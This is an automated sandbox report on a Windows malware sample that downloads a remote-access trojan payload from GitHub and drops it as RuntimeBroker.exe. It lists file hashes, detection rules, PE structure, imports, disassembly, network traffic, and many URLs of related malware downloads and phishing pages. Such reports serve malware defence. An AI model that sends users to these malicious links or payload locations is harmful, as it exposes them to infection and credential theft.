https://raw.githubusercontent.com/	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455060612.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612736367.000001FDB6A5F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000002.4612956931.000001FDB6AD4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe, 00000000.00000003.4455219396.000001FDB6A5F000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
37.18.62.18	unknown	Netherlands	203714	FLEXLTD-ASRU	true
140.82.121.3	github.com	United States	36459	GITHUBUS	false
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522429
Start date and time:	2024-09-30 03:23:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/2@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:24:09	API Interceptor	5280791x Sleep call for process: SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.121.3	6glRBXzk6i.exe	Get hash	malicious	RedLine	Browse	github.com/dyrka314/Balumba/releases/download/ver2/encrypted_ImpulseCrypt_5527713376.2.exe
	firefox.lnk	Get hash	malicious	CobaltStrike	Browse	github.com/john-xor/temp/blob/main/index.html?raw=true
	0XzeMRyE1e.exe	Get hash	malicious	Amadey, Vidar	Browse	github.com/neiqops/ajajaj/raw/main/file_22613.exe
	MzRn1YNrbz.exe	Get hash	malicious	Vidar	Browse	github.com/AdobeInstal/Adobe-After-Effects-CC-2022-1.4/releases/download/123/Software.exe
	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3
185.199.111.133	https://rajkamalkanna.github.io/Facebook-Login-Page/	Get hash	malicious	HTMLPhisher	Browse
	https://vinitk1509.github.io/NETFLIX	Get hash	malicious	HTMLPhisher	Browse
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26006.17204.rtf	Get hash	malicious	Remcos	Browse
	dvswiftsend_240917122612_9331095243.docx.doc	Get hash	malicious	Remcos	Browse
	https://metmaskiloi.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse
	http://sis030.github.io/1_Netflix_Deepdive/	Get hash	malicious	HTMLPhisher	Browse
	https://telagremn.com/	Get hash	malicious	Unknown	Browse
	http://tokenpuzz1le.com/	Get hash	malicious	HTMLPhisher	Browse
	https://tokenp0kczt.net/	Get hash	malicious	HTMLPhisher	Browse
	http://tokenpblket.com/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	C6DAEyTs7d.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26006.17204.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
	dvswiftsend_240917122612_9331095243.docx.doc	Get hash	malicious	Remcos	Browse	185.199.111.133
	4xBq1SMyQt.exe	Get hash	malicious	XWorm	Browse	185.199.110.133
	http://gasbot-demos.vercel.app/	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://33357.github.io/uniswap-v2	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://coinbase-auth.netlify.app/	Get hash	malicious	HTMLPhisher	Browse	185.199.110.133
	PO.xls	Get hash	malicious	Remcos	Browse	185.199.108.133
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31506.1346.rtf	Get hash	malicious	Remcos	Browse	185.199.110.133
	http://tokenpuzz1le.com/	Get hash	malicious	HTMLPhisher	Browse	185.199.111.133
github.com	http://metauscvxlkogimens.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://krakenqplogin.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://metamasunklogin.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://metmaskiloi.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	file.exe	Get hash	malicious	Amadey, BitCoin Miner, SilentXMRMiner	Browse	140.82.121.3
	PO#518464.js	Get hash	malicious	STRRAT	Browse	140.82.121.4

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FLEXLTD-ASRU	4YfxTm3isi.elf	Get hash	malicious	Mirai	Browse	45.134.61.237
	botx.x86.elf	Get hash	malicious	Unknown	Browse	45.134.61.231
	MV GEOSAND_FINAL DRAFT MR_pdf.exe	Get hash	malicious	Lokibot	Browse	193.42.113.74
	ZS7QSsD4yz.exe	Get hash	malicious	Lokibot	Browse	193.42.113.74
	shipping docsETDBL8091.xlsx	Get hash	malicious	Lokibot	Browse	193.42.113.74
	Arrival Notice.xlsx	Get hash	malicious	Lokibot	Browse	193.42.113.74
	8tKNSp1IgM.exe	Get hash	malicious	Vidar	Browse	193.42.113.197
FASTLYUS	https://polap77.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.marketbeat.com/articles/music-streaming-site-spotify-temporarily-goes-down-2024-09-29/?utm_source=newsletter&utm_medium=email&utm_campaign=newsletterclick&source=ARNDaily&AccountID=13091940&hash=99E2922EEB6FEC86743F5DB2C0E84BA5899D68F68F1472F885291F590EAD713452D3376C362A15DEDE29DFC4761637FD6FDD698F31176C60366847F610D6C32C	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://ebookkeepers.com.pk/	Get hash	malicious	Unknown	Browse	151.101.2.133
	https://mx1.margarettaphilomena.net/	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://jenifer-lopezz.pages.dev/	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://kaisonfhtr.pages.dev/	Get hash	malicious	Anonymous Proxy	Browse	151.101.192.84
	https://jogosderobloxdematazumbie.blogspot.com/	Get hash	malicious	Unknown	Browse	151.101.1.140
	https://www.givingday.communityschoolnaples.org/	Get hash	malicious	Unknown	Browse	151.101.64.176
	http://hdelm7ye84n38d9lvch0ev4c0.js.wpuserpowered.com/	Get hash	malicious	Unknown	Browse	151.101.1.140
	http://www.safari.com/	Get hash	malicious	Unknown	Browse	151.101.1.63
GITHUBUS	https://rajkamalkanna.github.io/Facebook-Login-Page/	Get hash	malicious	HTMLPhisher	Browse	140.82.113.21
	http://metauscvxlkogimens.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://krakenqplogin.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://metamasunklogin.gitbook.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://vinitk1509.github.io/NETFLIX	Get hash	malicious	HTMLPhisher	Browse	140.82.121.5
	https://trezor-docs-info.github.io/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.3
	https://metmaskiloi.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	http://sis030.github.io/1_Netflix_Deepdive/	Get hash	malicious	HTMLPhisher	Browse	140.82.113.18
	file.exe	Get hash	malicious	Amadey, BitCoin Miner, SilentXMRMiner	Browse	140.82.121.3
	https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.5-1/rubyinstaller-devkit-3.3.5-1-x64.exe	Get hash	malicious	Unknown	Browse	140.82.121.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Win32.BackdoorX-gen.13984.32209.exe	Get hash	malicious	GhostRat, Mimikatz, Nitol	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	140.82.121.3 185.199.111.133
	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.111.133
	SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.111.133
	app__v7.1.7_.msi	Get hash	malicious	Unknown	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	140.82.121.3 185.199.111.133
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	140.82.121.3 185.199.111.133

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.623796350941972
Encrypted:	false
SSDEEP:	768:SlV/w9ILiCuu+bi9telDSN+iV08YbygeQ5TQBJFvEgK/Jq0Vc6KN:SlV/Ii9tKDs4zb1qBJFnkJq0VclN
MD5:	2C417B524AED1DA84F185711E5A478F1
SHA1:	48380B5CD38EB374F4B439552E84BCA400D2008B
SHA-256:	8B703CD3353CA564A01BA71E1BD9A60F8DC0FA3AC8E93747A5ADCDB04CE7C79B
SHA-512:	2032760A9625B3862DEAD17143BDC35926A68D7054BA96159123FC45E8EC12553E0C4FF8808F1ECC71EE3660B0C4BBC95B137363B4B5CD94D2E86DD7BFC4EB23
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts, Description: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc., Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy, Description: Detects executables containing the string DcRatBy, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\XWormUI[1].exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`................................. ........@.. ....................... ............@.................................`...K.......$............................................................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B........................H........]...m............................................................/.\.....(.....~............~............~............~............~............~............~............~.....~............~............~............(B......2~.....oC....s....%r...po....(g...r...p(....o....o....o....( ... ....(.....s....%r...po....r...po....%r...po.....o....o....( ...Vs.........sh...........(,.....(-........(a...(o........*.r-..p(g...r?..p(....o....(...+.!..

C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.623796350941972
Encrypted:	false
SSDEEP:	768:SlV/w9ILiCuu+bi9telDSN+iV08YbygeQ5TQBJFvEgK/Jq0Vc6KN:SlV/Ii9tKDs4zb1qBJFnkJq0VclN
MD5:	2C417B524AED1DA84F185711E5A478F1
SHA1:	48380B5CD38EB374F4B439552E84BCA400D2008B
SHA-256:	8B703CD3353CA564A01BA71E1BD9A60F8DC0FA3AC8E93747A5ADCDB04CE7C79B
SHA-512:	2032760A9625B3862DEAD17143BDC35926A68D7054BA96159123FC45E8EC12553E0C4FF8808F1ECC71EE3660B0C4BBC95B137363B4B5CD94D2E86DD7BFC4EB23
Malicious:	true
Yara Hits:	Rule: JoeSecurity_AsyncRAT, Description: Yara detected AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts, Description: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc., Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice, Description: Detects executables attemping to enumerate video devices using WMI, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_DcRatBy, Description: Detects executables containing the string DcRatBy, Source: C:\Users\user\AppData\Local\Temp\RuntimeBroker.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96% Antivirus: Virustotal, Detection: 72%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`................................. ........@.. ....................... ............@.................................`...K.......$............................................................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B........................H........]...m............................................................/.\.....(.....~............~............~............~............~............~............~............~.....~............~............~............(B......2~.....oC....s....%r...po....(g...r...p(....o....o....o....( ... ....(.....s....%r...po....r...po....%r...po.....o....o....( ...Vs.........sh...........(,.....(-........(a...(o........*.r-..p(g...r?..p(....o....(...+.!..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	5.4183837941963615
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe
File size:	30'208 bytes
MD5:	e40eb702f369e5decfb33b3d78bd4b0c
SHA1:	3de25a909a7d8f20aaa4d9aba60aeb501c247f86
SHA256:	16a2abe3f4f2c005e206318caf37a366e0084fa8ca8561f3642fa0b4f2f04a7e
SHA512:	d015925072810f6ec5044ead32efc8ed6bee2d533c39915ceb526edce20edbc7fd3447423bd6ec608478eb87fdc70c9ad6dcce8b00b8328206adc9294137b60f
SSDEEP:	384:pWIooQkbZYGM0D4DTrMiRShFRDwSH3I6ELjTo0z2d6GHnGtI4qk9QlEM69+j5P0u:nQFGM0D4DKF9wHmhAvP9Ql369aR0
TLSH:	BBD22A67276904ECE236937C85A35A16DAB2BC610742E3CF43A192060F377D1EEBDE11
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o2!.+SO.+SO.+SO."+..'SO...L./SO...K.!SO...J.1SO...N.-SO.`+N.,SO.+SN.RSO.>.F.SO.>...SO.>.M.*SO.Rich+SO.........PE..d...x..f...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140003848
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66CBB578 [Sun Aug 25 22:51:36 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8c6422f99cddde5bd8d239051984ad7a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F4A68E09890h
dec eax
add esp, 28h
jmp 00007F4A68E08FFFh
int3
int3
retn 0000h
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [000017E7h]
dec eax
mov ecx, ebx
call dword ptr [000017D6h]
call dword ptr [000017E0h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [000017D4h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [000017C8h]
test eax, eax
je 00007F4A68E09189h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [00004BA6h]
call 00007F4A68E0922Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [00004C8Dh], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00004C1Dh], eax
dec eax
mov eax, dword ptr [00004C76h]
dec eax
mov dword ptr [00004AE7h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [00004BEBh], eax
mov dword ptr [00004AC1h], C0000409h
mov dword ptr [00004ABBh], 00000001h
mov dword ptr [00004AC5h], 00000001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a04	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x9000	0x4ec	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xb000	0x98	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5860	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5720	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x5000	0x390	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3607	0x3800	c5d519969ef7ccd91fdba2ba5d95fa65	False	0.5693359375	data	5.977785649593961	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x5000	0x2b32	0x2c00	51da2f7cabe90f973696afbdc419d989	False	0.36585582386363635	data	4.3376170534768335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x8000	0x9e8	0x400	2896e51644f1191532b8da845f373c6f	False	0.2216796875	DOS executable (block device driver)	3.122970109830986	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x9000	0x4ec	0x600	42efbae0755965d87bd10dca4fa9ce3b	False	0.419921875	data	3.6349355706670803	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x1e0	0x200	101f04294dcfeea9dfe10d3c920461d9	False	0.529296875	data	4.701503258251789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xb000	0x98	0x200	10b3f866dcc8ac3591768175d184eb7e	False	0.287109375	data	2.0982991704247644	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0xa060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	CloseHandle, CreateProcessW, GetExitCodeProcess, RtlLookupFunctionEntry, Sleep, OpenProcess, GetFileAttributesW, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlCaptureContext
ADVAPI32.dll	GetUserNameW
MSVCP140.dll	?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ?out@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z, ??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ, ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z, ??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?showmanyc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JXZ, ?xsgetn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEAD_J@Z, ?xsputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAA_JPEBD_J@Z, ??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ, ??1?$basic_ostream@DU?$char_traits@D@std@@@std@@UEAA@XZ, ?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEBD_J@Z, ?always_noconv@codecvt_base@std@@QEBA_NXZ, ??Bid@locale@std@@QEAA_KXZ, ??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z, ?_Init@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAAXXZ, ?unshift@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEAD1AEAPEAD@Z, ?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ, ??1_Lockit@std@@QEAA@XZ, ??0_Lockit@std@@QEAA@H@Z, ?_Getgloballocale@locale@std@@CAPEAV_Locimp@12@XZ, ?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A, ?_Fiopen@std@@YAPEAU_iobuf@@PEB_WHH@Z, ?_Xlength_error@std@@YAXPEBD@Z, ?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SA_KPEAPEBVfacet@locale@2@PEBV42@@Z, ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ
WININET.dll	InternetOpenUrlW, InternetReadFile, InternetCloseHandle, InternetOpenW
VCRUNTIME140_1.dll	__CxxFrameHandler4
VCRUNTIME140.dll	memmove, memset, __current_exception_context, __current_exception, _CxxThrowException, __C_specific_handler, __std_terminate, __std_exception_copy, __std_exception_destroy, memcpy
api-ms-win-crt-stdio-l1-1-0.dll	fwrite, setvbuf, ungetc, fgetc, fclose, fflush, fputc, fgetpos, fread, __p__commode, _get_stream_buffer_pointers, _set_fmode, _fseeki64, fsetpos
api-ms-win-crt-filesystem-l1-1-0.dll	_lock_file, _unlock_file
api-ms-win-crt-runtime-l1-1-0.dll	_initterm, _initterm_e, exit, _exit, _invalid_parameter_noinfo_noreturn, _c_exit, _set_app_type, _get_narrow_winmain_command_line, terminate, _crt_atexit, _configure_narrow_argv, _initialize_narrow_environment, _cexit, _seh_filter_exe, _register_thread_local_exe_atexit_callback, _initialize_onexit_table, _register_onexit_function
api-ms-win-crt-heap-l1-1-0.dll	malloc, _callnewh, free, _set_new_mode
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 03:24:07.951781988 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:07.951817036 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:07.951898098 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:07.960627079 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:07.960644007 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:08.643265009 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:08.643335104 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:08.794291973 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:08.794317961 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:08.794671059 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:08.794722080 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:08.797732115 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:08.843408108 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:09.117981911 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:09.118036985 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:09.118077040 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:09.118119955 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:09.118127108 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:09.118139029 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:09.118159056 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:09.118197918 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:09.122102022 CEST	49710	443	192.168.2.6	140.82.121.3
Sep 30, 2024 03:24:09.122117996 CEST	443	49710	140.82.121.3	192.168.2.6
Sep 30, 2024 03:24:09.142622948 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.142721891 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.142800093 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.194350958 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.194401026 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.653994083 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.654103994 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.728817940 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.728868961 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.729176044 CEST	443	49712	185.199.111.133	192.168.2.6
Sep 30, 2024 03:24:09.729242086 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.729809046 CEST	49712	443	192.168.2.6	185.199.111.133
Sep 30, 2024 03:24:09.771405935 CEST	443	49712	185.199.111.133	192.168.2.6
